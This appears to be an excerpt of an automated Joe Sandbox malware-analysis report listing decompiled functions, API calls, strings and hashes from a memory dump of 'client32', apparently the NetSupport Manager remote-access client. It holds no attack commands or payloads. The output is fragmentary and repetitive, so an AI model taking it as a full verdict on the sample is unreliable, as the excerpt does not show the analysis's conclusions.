Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-0
Opcode ID: 3b4a1dd1ca9e47f377dd888b19c7a62076a78745d4869df6f922d4effe3b737a
Instruction ID: 028166286d3bd400be092ba0325ce689d6481c0f69bbb526fc7211a1c27e1f06
Opcode Fuzzy Hash: 3b4a1dd1ca9e47f377dd888b19c7a62076a78745d4869df6f922d4effe3b737a
Instruction Fuzzy Hash: 6C013C716057159FE320EFA9C944B16F7E8EF44B10F21882ED65EC7A90D7B4A480CB90

Function 111383C0 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000,75BF3760,110F7D8C,?,00000104), ref: 111383C8
GlobalDeleteAtom.KERNEL32 ref: 111383D6

Part of subcall function 11113160: FindWindowA.USER32(MSOfficeWClass,00000000), ref: 1111316A
Part of subcall function 11113160: SendMessageA.USER32(00000000,00000414,00000000,00000000), ref: 11113180

DeleteObject.GDI32(00000000), ref: 1113840A
DeleteObject.GDI32(?), ref: 11138414

Part of subcall function 11095920: _memset.LIBCMT ref: 1109594F
Part of subcall function 11095920: FreeLibrary.KERNEL32(00000000,?,75C04920,11119E07,00000002), ref: 1109595A

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Delete$ObjectWindow$AtomDestroyFindFreeGlobalLibraryMessageSend_memset
String ID:
API String ID: 370783926-0
Opcode ID: 58e957487a8832166c480bc813a73a45169cf8ddeb5aee4571b3bc3ff4d557d5
Instruction ID: 799c2b35d490dd5e626eaccd758f186befe5f7b991eaf06d61b0359e6872da7a
Opcode Fuzzy Hash: 58e957487a8832166c480bc813a73a45169cf8ddeb5aee4571b3bc3ff4d557d5
Instruction Fuzzy Hash: 8AF02776A0062457D314AB69AD44B2FF3A8EFC5B29B05403CE965A3608DB25F801C7A1

Function 1115F1F0 Relevance: 6.0, APIs: 4, Instructions: 26COMMON

Download Yara Rule

APIs

GlobalDeleteAtom.KERNEL32(00000000), ref: 1115F208
GlobalDeleteAtom.KERNEL32 ref: 1115F212
GlobalDeleteAtom.KERNEL32 ref: 1115F21C
SetWindowLongA.USER32(?,000000FC,?), ref: 1115F22C

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AtomDeleteGlobal$LongWindow
String ID:
API String ID: 964255742-0
Opcode ID: 6d1c3e4c7ba79be894aa668b9e160f569f6102aeba86935b87fce5edf1bf1130
Instruction ID: 220dc2ec1870e2cd5bb434e19042b50d90bfbecd9004e1d9cbcb935e023cb0cc
Opcode Fuzzy Hash: 6d1c3e4c7ba79be894aa668b9e160f569f6102aeba86935b87fce5edf1bf1130
Instruction Fuzzy Hash: 97E065B910423697C7149F6AAC40D72F3ECAF98614715452DF175C3594C778D445DB70

Function 110820F0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 248COMMON

Download Yara Rule

APIs

Part of subcall function 11081C50: IsDBCSLeadByte.KERNEL32(00000000,?,00000000,11081E2A,?,0000005C), ref: 11081C6C

CompareStringA.KERNEL32(00000400,00000000,?,0000000C,?,?,?,?,?,0000000C,?,?,?,?,?,?), ref: 110822FB

Part of subcall function 111648ED: __isdigit_l.LIBCMT ref: 11164912

_strncmp.LIBCMT ref: 1108232F

Strings

{-., xrefs: 11082133

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ByteCompareLeadString__isdigit_l_strncmp
String ID: {-.
API String ID: 3286074029-1528367491
Opcode ID: 4d8afa05ddccc26e401f41977dd92a764ff12fedfb38d6d86dda50b79b2d366f
Instruction ID: 42614cb2d1b9d3b778ecc90c9d3306305cb73528e675c69c4a583d3e5576a220
Opcode Fuzzy Hash: 4d8afa05ddccc26e401f41977dd92a764ff12fedfb38d6d86dda50b79b2d366f
Instruction Fuzzy Hash: 227179A4D0C2D76AEB02CEB44C5036EBFDD8F95208F1881FAECD887241E672D655D3A1

Function 11007255 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185windowCOMMON

Download Yara Rule

APIs

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

CreateWindowExA.USER32(00000000,edit,00000000,40040004,?,?,?,?,?,00000002,00000000,?), ref: 110073A7
SetFocus.USER32(?), ref: 11007403

Strings

edit, xrefs: 110073A1

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateFocusWindow_malloc_memsetwsprintf
String ID: edit
API String ID: 1305092643-2167791130
Opcode ID: 08210b6cc54d90016c50a1c773d08534ce649efc3e71ddb39b7928ec6fe8f9a3
Instruction ID: e81607fb03d3f2f95005a1d43bd356d739516b9639758e6caabf034df3046c31
Opcode Fuzzy Hash: 08210b6cc54d90016c50a1c773d08534ce649efc3e71ddb39b7928ec6fe8f9a3
Instruction Fuzzy Hash: A2519FB5A00606AFE715CF64DC81BAFB7E5FB88354F118569E955C7340EB34AA02CB60

Function 11040320 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 170COMMON

Download Yara Rule

APIs

Part of subcall function 11095990: GetSystemMetrics.USER32(0000004C), ref: 1109599E
Part of subcall function 11095990: GetSystemMetrics.USER32(0000004D), ref: 110959A7
Part of subcall function 11095990: GetSystemMetrics.USER32(0000004E), ref: 110959AE
Part of subcall function 11095990: GetSystemMetrics.USER32(00000000), ref: 110959B7
Part of subcall function 11095990: GetSystemMetrics.USER32(0000004F), ref: 110959BD
Part of subcall function 11095990: GetSystemMetrics.USER32(00000001), ref: 110959C5

GetRegionData.GDI32(?,00001000,?), ref: 11040385

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

IsA(), xrefs: 1104050A, 1104053F
e:\nsmsrc\nsm\1210\1210f\ctl32\DataStream.h, xrefs: 11040505, 1104053A

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MetricsSystem$DataErrorExitLastMessageProcessRegionwsprintf
String ID: IsA()$e:\nsmsrc\nsm\1210\1210f\ctl32\DataStream.h
API String ID: 1231476184-2270926670
Opcode ID: fa938692faa72bfd7a152b515735bbb774d24fd1cc934a4ad490e94894950335
Instruction ID: fcc014cb92af89be413bccaeb8ed5c1d1208fe51c9cebf699e971ae9d8c69b9a
Opcode Fuzzy Hash: fa938692faa72bfd7a152b515735bbb774d24fd1cc934a4ad490e94894950335
Instruction Fuzzy Hash: E8611BB5E001AA9FCB24CF54CC94AD9B3B5FF88344F1042D9E689A7248DAB46E85CF50

Function 11009270 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 110092E5
_memmove.LIBCMT ref: 11009336

Part of subcall function 11008DD0: std::_Xinvalid_argument.LIBCPMT ref: 11008DEA

Strings

string too long, xrefs: 110092E0

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: string too long
API String ID: 2168136238-2556327735
Opcode ID: 22491d451eb23d87cec3ea30fc5d884b072beb3f123d3bfee90730829ce68beb
Instruction ID: dd3894f676f01ff6a75acb4aa2435548b18b289b65f075ee81d5ee4d5d084719
Opcode Fuzzy Hash: 22491d451eb23d87cec3ea30fc5d884b072beb3f123d3bfee90730829ce68beb
Instruction Fuzzy Hash: 8C31DB72B046108BF720DE9DE88099EF7EDEB957B4B20491FE589C7680E771AC4087A0

Function 110E1260 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 110E12C3
_memmove.LIBCMT ref: 110E131D

Strings

string too long, xrefs: 110E12BE

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Xinvalid_argument_memmovestd::_
String ID: string too long
API String ID: 256744135-2556327735
Opcode ID: f63589a1e1e49e26468f6bc49513f74121357c805117a5e251a3e538b8b1e039
Instruction ID: 4942d9d917c342fdb8aca387283afa0bcd15718542992abc979dc690a8db670a
Opcode Fuzzy Hash: f63589a1e1e49e26468f6bc49513f74121357c805117a5e251a3e538b8b1e039
Instruction Fuzzy Hash: 7931B372B152058F8724DE9EEC848EEF7EAEFD57613104A1FE442C7640DB31AC5187A1

Function 1103A560 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 1103A58C

Part of subcall function 11163ED6: __getptd.LIBCMT ref: 11163EF4

_strtok.LIBCMT ref: 1103A65C

Strings

; >, xrefs: 1103A583, 1103A655

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strtok$__getptd
String ID: ; >
API String ID: 715173073-2207967850
Opcode ID: fcc9817da58d44c692abee018736f6133157bcb5d60b52ba9e7aec99c4f9531c
Instruction ID: dc0b2c440e14d8e9b0893f5a35815c2cc1279532199bfc0e3fbf521271310ba3
Opcode Fuzzy Hash: fcc9817da58d44c692abee018736f6133157bcb5d60b52ba9e7aec99c4f9531c
Instruction Fuzzy Hash: B3315B36D1426AAFDB11CAA48C40BDEBBE4DF84355F154094DC58EB280E731AD8583E1

Function 110BC180 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 98COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(?,110BF425), ref: 110BC254

Part of subcall function 11152670: ShowWindow.USER32(?,00000000,110BC1E9,?,AB86ACF8,75BF7AA0,?,00000000,00000000,11185EC0,000000FF,?,110BF425,00000000,?), ref: 11152676

Strings

IsA(), xrefs: 110BC23F
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 110BC23A

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$ShowText
String ID: IsA()$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 1551406749-3415836059
Opcode ID: 532d229f29219a7ff6c20e313694b0bfc831fc8ae43d379dc4bc4106dcf9cf0c
Instruction ID: 8a26eee081ce9cd5774bf5fa1ba6d960984ef53363d9d91997ef2c7f0f187873
Opcode Fuzzy Hash: 532d229f29219a7ff6c20e313694b0bfc831fc8ae43d379dc4bc4106dcf9cf0c
Instruction Fuzzy Hash: A8316179A0061A9BCB44DBA8CC90FEEF7F9FF59214F044519E516A3280DB34BA05CBA5

Function 1103B150 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 1103B162
_free.LIBCMT ref: 1103B25B

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

CLTCONN.CPP, xrefs: 1103B175

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcess_calloc_freewsprintf
String ID: CLTCONN.CPP
API String ID: 183652615-2872349640
Opcode ID: 8337f5e747ebaeb2686f90dd4bebe07236585bab06edcc3415c76220b6505581
Instruction ID: 20d7259e8fe77d3daff0af84d5ff1d15e913130fc2269d1c6afd747bd8efee53
Opcode Fuzzy Hash: 8337f5e747ebaeb2686f90dd4bebe07236585bab06edcc3415c76220b6505581
Instruction Fuzzy Hash: F231C875A10B069AD310CF95C881BB7F3E4FF44318F048669E9598B641F774F905C3A5

Function 110AD1B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 110AD1E3

Part of subcall function 110ACEB0: LoadLibraryA.KERNEL32(Winscard.dll,00000000,00000000,110AD1F3,00000000,00000001,00000000,?,11185738,000000FF,?,110ADC42,?,?,00000200,?), ref: 110ACEC4
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(00000000,SCardEstablishContext), ref: 110ACEE1
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardReleaseContext), ref: 110ACEEE
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardIsValidContext), ref: 110ACEFC
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardListReadersA), ref: 110ACF0A
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardGetStatusChangeA), ref: 110ACF18
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardCancel), ref: 110ACF26
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardFreeMemory), ref: 110ACF34
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardConnectA), ref: 110ACF42
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardDisconnect), ref: 110ACF50
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardGetAttrib), ref: 110ACF5E
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardControl), ref: 110ACF6C
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardListCardsA), ref: 110ACF7A
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardGetCardTypeProviderNameA), ref: 110ACF88
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardBeginTransaction), ref: 110ACF96
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardEndTransaction), ref: 110ACFA4
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardReconnect), ref: 110ACFB2

FreeLibrary.KERNEL32(00000000,?,110ADC42,?,?,00000200,?,?,00000400,?,110F4A31,00000000,00000000,?,?,?), ref: 110AD252

Strings

winscard.dll is NOT valid!!!, xrefs: 110AD1FD

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
